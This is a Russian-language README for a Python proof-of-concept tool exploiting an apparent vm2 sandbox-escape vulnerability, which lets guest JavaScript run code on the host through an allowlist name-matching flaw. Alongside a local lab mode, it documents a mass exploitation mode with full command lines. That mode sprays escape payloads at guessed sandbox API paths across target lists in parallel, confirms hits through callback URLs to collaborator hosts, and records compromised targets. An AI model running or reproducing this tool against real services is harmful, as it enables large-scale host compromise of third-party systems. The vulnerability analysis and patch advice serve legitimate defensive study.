
Python PoC для CVE-2026-100721: обнаруживает и эксплуатирует обход внешнего allowlist в NodeVM vm2 <3.12.2, обеспечивая побег из песочницы и RCE на хосте через локальную лабораторию или массовые HTTP-цели.
Python 3 PoC для CVE-2026-100721 — vm2 (npm) до 3.12.2 — некорректная авторизация в резолвере внешних модулей NodeVM, приводящая к побегу из песочницы и выполнению кода на стороне хоста, когда недоверенный JavaScript выполняется внутри неправильно настроенного встраивающего приложения.
Страница PoC: https://pocbit.org/pocs/cve-2026-100721
vm2 — широко используемая библиотека Node.js для запуска недоверенного JavaScript внутри песочницы в рамках того же процесса Node. Приложения используют NodeVM с такими ограничениями, как:
require.builtin — какие основные модули может загружать гостевой код (fs, child_process, …)require.external — allowlist имён npm-пакетов (например, только left-pad, lodash)require.resolve — пользовательский резолвер, указывающий на контролируемый хостом каталог плагинов или зависимостейcontext: 'host' — внешние пакеты загружаются через реальный require() хоста (часто для производительности)Типичные встраивающие приложения: платформы пользовательских скриптов, low-code раннеры, маркетплейсы плагинов, онлайн-IDE, песочницы автоматизации и внутренние микросервисы «безопасного eval».
CVE-2026-100721 — это некорректная авторизация (CWE-863) в том, как vm2 решает, разрешён ли гостевой вызов require("package-name").
Два связанных недостатка были исправлены в разных релизах vm2 (один и тот же класс ошибок — путаница границ имени / пути):
Предварительная проверка allowlist строит шаблон из записей вида left-pad, но не обеспечивает полную границу имени пакета. Гостевой код может запросить evil-left-pad, потому что строка содержит left-pad. Если такой совпадающий пакет существует по пути, доступному пользовательскому резолверу, vm2 загружает его в контексте хоста. Код модуля верхнего уровня выполняется до обёртки песочницы → child_process, чтение файлов, секреты и т. д.
lib/resolver-compat.js, исправлено в 3.12.2)Когда используется пользовательский резолвер с context: 'host', vm2 записывает разрешённые каталоги с помощью регулярного выражения по префиксу без строгой границы разделителя пути / конца. Гость позже может вызвать require() с абсолютным путём к соседнему неразрешённому файлу (например, .../node_modules/foo2/index.js, когда в allowlist был только foo). Соседний файл проходит проверку isPathAllowedForModule и выполняется в процессе хоста.
Затронуто: vm2 < 3.12.2 (CVE-2026-100721). Связанные исправления коллизий имён также вошли в 3.11.7.
Исправлено: обновитесь до vm2 ≥ 3.12.2 (и поддерживайте актуальность).
| Метрика | Значение |
|---|---|
| CVSS 3.1 | 9.0 Critical — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS 4.0 | 9.5 Critical (Rapid7 / VulnCheck) |
| Аутентификация | Цепочка эксплуатации обычно начинается после выполнения кода с низкими привилегиями внутри песочницы (PR:L в advisory) |
| Благодарность | Tencent Xuanwu Lab XlabAI, Atuin engine, Guannan Wang et al. |
Удалённый «RCE одним HTTP-запросом» — не универсален. Практические цепочки требуют:
require.external allowlist + часто пользовательский require.resolve.context: 'host' (или эквивалентная загрузка на хосте) для внешних модулей.Когда эти условия совпадают, воздействие — полная компрометация Node на хосте, а не просто злоупотребление гостевой песочницей.
| Режим | Поведение |
|---|---|
--lab | Авторитетная локальная эксплуатация: lab/ устанавливает vm2 3.11.5, собирает evil-left-pad, демонстрирует POCBIT-100721-HOST_EXEC (повторяет vendor advisory) |
check | Удалённая идентификация vm2 (package.json, lockfiles, JS-бандлы), версия < 3.12.2, опциональный --probe-exec по типовым путям sandbox API |
exploit | Массовый POST allowlist-bypass probe JS (evil-left-pad, совпадающие имена) на настраиваемые --exec-paths; помечает exploited при маркере в ответе или наличии sandbox API + --callback-url |
| Массовый bulk | --list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt |
Поля PoCbit JSONL: pocbit, pocbit_catalog, pocbit_page в каждой строке.
CLI: зелёно-пурпурный баннер PoCbit, цветовая раскраска [EXPLOIT] / [SENT] / [FAIL] / [HIT] (--no-color для отключения).
Важно: режим удалённой эксплуатации нацелен на HTTP sandbox runners, которые вы настроите. Для чистой проверки библиотеки используйте python poc.py --lab (требуется Node.js + npm).
pip install -r requirements.txt
| Компонент | Назначение |
|---|---|
| Python 3.9+ | Сканер / массовый драйвер |
| Node.js + npm | Только для --lab (рекомендуется для понимания CVE) |
cd CVE-2026-100721
python poc.py --lab
Ожидаемый результат на уязвимой vm2:
[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE
python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--exec-paths /api/run,/api/eval --code-field code
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--callback-url http://your-collaborator.example/cve-100721
python poc.py --list targets.txt --mode exploit \
--exec-paths /api/run,/api/sandbox/run \
--callback-url http://oast.example.com/hit -j 15
Пользовательский гостевой скрипт:
python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js
Выходные файлы:
cve_2026_100721_exploit.jsonl — JSON по каждой целиexploited.txt — цели, где сработал маркер побега, callback-поверхность или sandbox APIДрайвер проверяет типовые шаблоны (переопределяются через --exec-paths):
/api/run, /api/eval, /api/execute, /api/sandbox/run, /api/vm/run, /api/code/run, /run, /execute, /eval, /api/v1/run, /api/playground/run, …
Пробуемые поля JSON-тела: code, script, source, javascript, js, payload, … (переопределяются через --code-field).
Встроенный exploit JS перебирает совпадающие имена пакетов, такие как evil-left-pad (PoC обхода allowlist). На уязвимом встраивающем приложении, где уже размещён совпадающий пакет:
require("evil-left-pad"); // host top-level code runs → sandbox escape
Локальный lab/poc.js реализует полный сценарий из доверенного advisory с external: ['left-pad'], builtin: [] и пользовательским resolve.